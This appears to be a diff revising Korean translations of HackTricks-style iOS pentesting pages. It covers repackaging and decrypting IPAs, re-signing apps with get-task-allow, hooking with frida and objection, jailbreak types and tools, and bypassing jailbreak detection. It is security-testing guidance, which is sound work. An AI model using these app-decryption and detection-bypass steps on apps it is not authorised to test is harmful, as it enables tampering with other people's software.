unzip redacted.ipa -d unzipped
```
`Info.plist`에서 최소 지원 버전을 확인하고, 기기가 그보다 오래된 경우 값을 변경하여 지원되도록 하십시오.
IPA를 다시 압축하십시오:
```bash
cd unzipped
zip -r ../no-min-version.ipa *
```
그런 다음, 예를 들어 다음과 같이 IPA를 설치합니다:
```bash
ideviceinstaller -i no-min-version.ipa -w
```
Cydia에서 **AppSync Unified tweak**가 필요할 수 있으니 `invalid signature` 오류를 방지하세요.
설치가 완료되면, Cydia에서 **Iridium tweak**를 사용하여 암호화 해제된 IPA를 얻을 수 있습니다.
### 권한 패치 및 재서명
`get-task-allow` 권한으로 애플리케이션을 재서명하기 위해 `app-signer`, `codesign`, `iResign`과 같은 여러 도구가 있습니다. `app-signer`는 재서명할 IPA 파일을 지정하고 **`get-task-allow`**를 설정하며 사용할 인증서와 프로비저닝 프로필을 쉽게 지정할 수 있는 매우 사용자 친화적인 인터페이스를 제공합니다.
인증서 및 서명 프로필에 관해서는 Apple이 Xcode를 통해 모든 계정에 **무료 개발자 서명 프로필**을 제공합니다. 앱을 생성하고 하나를 구성하세요. 그런 다음, `Settings` → `Privacy & Security`로 이동하여 **iPhone이 개발자 앱을 신뢰하도록** 설정하세요.
재서명된 IPA로 이제 장치에 설치하여 펜테스트를 진행할 시간입니다:
```bash
ideviceinstaller -i resigned.ipa -w
```
### Hook
당신은 frida와 objection과 같은 일반적인 도구를 사용하여 쉽게 앱을 훅할 수 있습니다:
```bash
objection -g [your app bundle ID] explore
```
## References
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,10 +4,10 @@
## Apple Developer Program
**프로비저닝 아이덴티티**는 Apple 개발자 계정과 연결된 공개 및 개인 키의 모음입니다. **앱 서명**을 하려면 **Apple Developer Program**에 등록하기 위해 **99$/년**을 지불해야 프로비저닝 아이덴티티를 받을 수 있습니다. 이를 통해 소스 코드에서 실제 장치에서 애플리케이션을 실행할 수 있습니다. 또 다른 방법은 **탈옥된 장치**를 사용하는 것입니다.
**프로비저닝 아이덴티티**는 Apple 개발자 계정과 연결된 공개 및 개인 키의 모음입니다. **앱 서명**을 하려면 **99$/년**을 지불하고 **Apple Developer Program**에 등록하여 프로비저닝 아이덴티티를 받아야 합니다. 이를 통해 소스 코드에서 실제 장치에서 애플리케이션을 실행할 수 있습니다. 또 다른 방법은 **탈옥된 장치**를 사용하는 것입니다.
Xcode 7.2부터 Apple은 실제 iPhone에서 애플리케이션을 작성하고 테스트할 수 있는 **무료 iOS 개발 프로비저닝 프로필**을 생성할 수 있는 옵션을 제공했습니다. _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (자격 증명으로 새 Appli ID 추가) --> _생성된 Apple ID 클릭_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
\_\_그런 다음 iPhone에서 애플리케이션을 실행하려면 먼저 **iPhone이 컴퓨터를 신뢰하도록 지정해야 합니다.** 그런 다음 _Xcode_에서 모바일에서 **애플리케이션을 실행해 보십시오.** 그러나 오류가 발생할 것입니다. 따라서 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 신뢰할 수 없는 프로필을 선택하고 "**Trust**"를 클릭하십시오.
\_\_그런 다음 iPhone에서 애플리케이션을 실행하려면 먼저 **iPhone이 컴퓨터를 신뢰하도록 지정해야 합니다.** 그런 다음 **Xcode에서 모바일에서 애플리케이션을 실행해 볼 수 있지만 오류가 발생할 것입니다.** 따라서 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 신뢰할 수 없는 프로필을 선택하고 "**Trust**"를 클릭합니다.
**같은 서명 인증서로 서명된 애플리케이션은 키체인 항목과 같은 리소스를 안전하게 공유할 수 있습니다.**
@ -16,7 +16,7 @@ Xcode 7.2부터 Apple은 실제 iPhone에서 애플리케이션을 작성하고
## **Simulator**
> [!NOTE]
> **시뮬레이터는 에뮬레이터와 동일하지 않다는 점에 유의하십시오.** 시뮬레이터는 장치의 동작과 기능을 시뮬레이션할 뿐 실제로 사용하지는 않습니다.
> **시뮬레이터는 에뮬레이터와 동일하지 않다는 점에 유의하세요.** 시뮬레이터는 장치의 동작과 기능을 시뮬레이션할 뿐 실제로 사용하지는 않습니다.
### **Simulator**
@ -37,7 +37,7 @@ Apple의 사실상 도구는 iOS 애플리케이션을 생성/디버깅/계측
### Applications in the Simulator
`/Users/<username>/Library/Developer/CoreSimulator/Devices` 내부에서 **설치된 시뮬레이터**를 모두 찾을 수 있습니다. 에뮬레이터 중 하나에 생성된 애플리케이션의 파일에 접근하려면 **어느 에 앱이 설치되었는지 아는 것이 어려울 수 있습니다.** **올바른 UID를 찾는 빠른 방법**은 시뮬레이터에서 앱을 실행하고 다음을 실행하는 것입니다:
`/Users/<username>/Library/Developer/CoreSimulator/Devices` 내부에서 **설치된 시뮬레이터**를 모두 찾을 수 있습니다. 에뮬레이터 중 하나에 생성된 애플리케이션의 파일에 접근하려면 **어느 에뮬레이터에 앱이 설치되었는지 아는 것이 어려울 수 있습니다.** 올바른 UID를 **찾는 빠른 방법**은 시뮬레이터에서 앱을 실행하고 다음을 실행하는 것입니다:
```bash
xcrun simctl list | grep Booted
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
@ -50,15 +50,19 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
## 에뮬레이터
Corellium은 공개적으로 사용 가능한 유일한 iOS 에뮬레이터입니다. 이는 사용자 라이선스 모델을 가진 기업 SaaS 솔루션이며, 시험 라이선스를 제공하지 않습니다.
Corellium은 공개적으로 사용 가능한 유일한 iOS 에뮬레이터입니다. 이는 사용자 라이선스 모델을 가진 기업 SaaS 솔루션이며, 시험 라이선스를 제공하지 않습니다.
## 탈옥 필요 없음
**탈옥되지 않은 장치**에서 iOS 애플리케이션을 어떻게 펜테스트하는지에 대한 블로그 게시물을 확인하세요: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
**탈옥되지 않은 장치**에서 iOS 애플리케이션을 펜테스트하는 방법에 대한 블로그 게시물을 확인하세요:
{{#ref}}
ios-pentesting-without-jailbreak.md
{{#endref}}
## 탈옥
Apple은 iPhone에서 실행되는 코드가 **Apple이 발급한 인증서로 서명되어야 한다고 엄격히 요구합니다**. **탈옥**은 OS에 의해 설정된 그러한 제한 및 기타 보안 통제를 **우회하는 과정**입니다. 따라서 장치가 탈옥되면, 설치된 앱을 확인하는 **무결성 검사**가 패치되어 **우회됩니다**.
Apple은 iPhone에서 실행되는 코드가 **Apple이 발급한 인증서로 서명되어야 한다고 엄격히 요구합니다**. **탈옥**은 OS에 의해 설정된 그러한 제한 및 기타 보안 통제를 **우회하는 과정**입니다. 따라서 장치가 탈옥되면, 앱 설치를 확인하는 **무결성 검사**가 패치되어 **우회됩니다**.
> [!NOTE]
> Android와 달리, **iOS에서 "개발자 모드"로 전환하여 서명되지 않거나 신뢰할 수 없는 코드를 실행할 수 없습니다.**
@ -67,17 +71,17 @@ Apple은 iPhone에서 실행되는 코드가 **Apple이 발급한 인증서로
종종 비교되지만, Android의 **루팅**과 iOS의 **탈옥**은 근본적으로 다른 과정입니다. Android 장치의 루팅은 **`su` 바이너리 설치** 또는 **루팅된 커스텀 ROM으로 시스템 교체**를 포함할 수 있으며, 부트로더가 잠금 해제된 경우 반드시 익스플로잇이 필요하지는 않습니다. **커스텀 ROM 플래싱**은 부트로더를 잠금 해제한 후 장치의 OS를 교체하며, 때때로 익스플로잇이 필요합니다.
반면, iOS 장치는 부트로더가 Apple 서명 이미지만 부팅하도록 제한되어 있어 커스텀 ROM을 플래할 수 없습니다. **iOS 탈옥**은 서명되지 않은 코드를 실행하기 위해 Apple의 코드 서명 보호를 우회하는 것을 목표로 하며, 이는 Apple의 지속적인 보안 강화로 인해 복잡해집니다.
반면, iOS 장치는 부트로더가 Apple 서명 이미지만 부팅하도록 제한되어 있어 커스텀 ROM을 플래할 수 없습니다. **iOS 탈옥**은 서명되지 않은 코드를 실행하기 위해 Apple의 코드 서명 보호를 우회하는 것을 목표로 하며, 이는 Apple의 지속적인 보안 강화로 인해 복잡해집니다.
### 탈옥의 도전 과제
Apple이 취약점을 신속하게 패치함에 따라 iOS 탈옥은 점점 더 어려워지고 있습니다. **iOS 다운그레이드**는 릴리스 후 제한된 시간 동안만 가능하여 탈옥은 시간에 민감한 문제입니다. 보안 테스트에 사용되는 장치는 재탈옥이 보장되지 않는 한 업데이트하지 않아야 합니다.
Apple이 취약점을 신속하게 패치함에 따라 iOS 탈옥은 점점 더 어려워지고 있습니다. **iOS 다운그레이드**는 출시 후 제한된 시간 동안만 가능하므로, 탈옥은 시간에 민감한 문제입니다. 보안 테스트에 사용되는 장치는 재탈옥이 보장되지 않는 한 업데이트하지 않아야 합니다.
iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH 블롭)에 의해 제어되며, Apple 서명 응답에 대해서만 설치를 허용합니다. 이 메커니즘은 "서명 창"으로 알려져 있으며, OTA 펌웨어 패키지를 저장하고 나중에 사용할 수 있는 능력을 제한합니다. [IPSW Downloads 웹사이트](https://ipsw.me)는 현재 서명 창을 확인는 리소스입니다.
iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH 블롭)에 의해 제어되며, Apple 서명 응답에 대해서만 설치가 허용됩니다. 이 메커니즘은 "서명 창"으로 알려져 있으며, OTA 펌웨어 패키지를 저장하고 나중에 사용할 수 있는 능력을 제한합니다. [IPSW Downloads 웹사이트](https://ipsw.me)는 현재 서명 창을 확인할 수 있는 리소스입니다.
### 탈옥의 종류
- **테더드 탈옥**은 재부팅 시 컴퓨터 연결이 필요합니다.
- **테더드 탈옥**은 매번 재부팅 시 컴퓨터 연결이 필요합니다.
- **세미 테더드 탈옥**은 컴퓨터 없이 비탈옥 모드로 부팅할 수 있습니다.
- **세미 언테더드 탈옥**은 컴퓨터 없이 수동으로 재탈옥이 필요합니다.
- **언테더드 탈옥**은 재적용 없이 영구적인 탈옥 솔루션을 제공합니다.
@ -86,15 +90,15 @@ iOS 업데이트는 **챌린지-응답 메커니즘**(SHSH 블롭)에 의해 제
탈옥 도구는 iOS 버전 및 장치에 따라 다릅니다. [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)와 같은 리소스는 최신 정보를 제공합니다. 예시로는:
- A7-A11 칩 장치용 [Checkra1n](https://checkra.in/)
- iOS 15.0-16.5에서 Checkm8 장치(A8-A11)용 [Palera1n](https://palera.in/)
- A7-A11 칩 장치용 [Checkra1n](https://checkra.in/).
- iOS 15.0-16.5의 Checkm8 장치용 [Palera1n](https://palera.in/).
- iOS 14.8까지의 버전용 [Unc0ver](https://unc0ver.dev/)가 있습니다.
장치를 수정하는 것은 위험을 동반하며, 탈옥은 신중하게 접근해야 합니다.
### 탈옥의 이점과 위험
탈옥은 **OS가 부과한 샌드박스를 제거하여** 앱이 전체 파일 시스템에 접근할 수 있게 합니다. 이 자유는 승인되지 않은 앱을 설치하고 더 많은 API에 접근할 수 있게 합니다. 그러나 일반 사용자에게는 잠재적인 보안 위험과 장치 불안정성 때문에 탈옥이 **권장되지 않습니다**.
탈옥은 **OS가 부과한 샌드박스를 제거하여** 앱이 전체 파일 시스템에 접근할 수 있게 합니다. 이 자유는 승인되지 않은 앱 설치와 더 많은 API 접근을 가능하게 합니다. 그러나 일반 사용자에게는 잠재적인 보안 위험과 장치 불안정성 때문에 탈옥이 **권장되지 않습니다.**
### **탈옥 후**
@ -107,10 +111,10 @@ basic-ios-testing-operations.md
**여러 애플리케이션이 모바일이 탈옥되었는지 감지하려고 시도하며, 이 경우 애플리케이션이 실행되지 않습니다.**
- 탈옥된 iOS에서는 **파일과 폴더가 일반적으로 설치되며**, 이를 검색하여 장치가 탈옥되었는지 확인할 수 있습니다.
- 탈옥된 장치에서는 애플리케이션이 샌드박스 외부의 **새 파일에 대한 읽기/쓰기 접근 권한**을 얻습니다.
- 탈옥된 장치에서는 애플리케이션이 샌드박스 외부의 **새 파일에 대한 읽기/쓰기 접근을 얻습니다.**
- 일부 **API** **호출**은 **다르게 동작합니다.**
- **OpenSSH** 서비스의 존재
- `/bin/sh`를 호출하면 **0 대신 1을 반환합니다.**
- `/bin/sh`를 호출하면 **0이 아닌 1을 반환합니다.**
**탈옥 탐지 방법에 대한 더 많은 정보는** [**여기**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**에서 확인할 수 있습니다.**
@ -119,7 +123,7 @@ basic-ios-testing-operations.md
## **탈옥 탐지 우회**
- **objection의** `ios jailbreak disable`을 사용하여 이러한 탐지를 피할 수 있습니다.
- **Liberty Lite** 도구를 설치할 수도 있습니다 (https://ryleyangus.com/repo/). 리포가 추가되면 앱이 ‘검색’ 탭에 나타나야 합니다.
- **Liberty Lite** (https://ryleyangus.com/repo/) 도구를 설치할 수도 있습니다. 리포가 추가되면 앱이 ‘검색’ 탭에 나타나야 합니다.
## 참고 문헌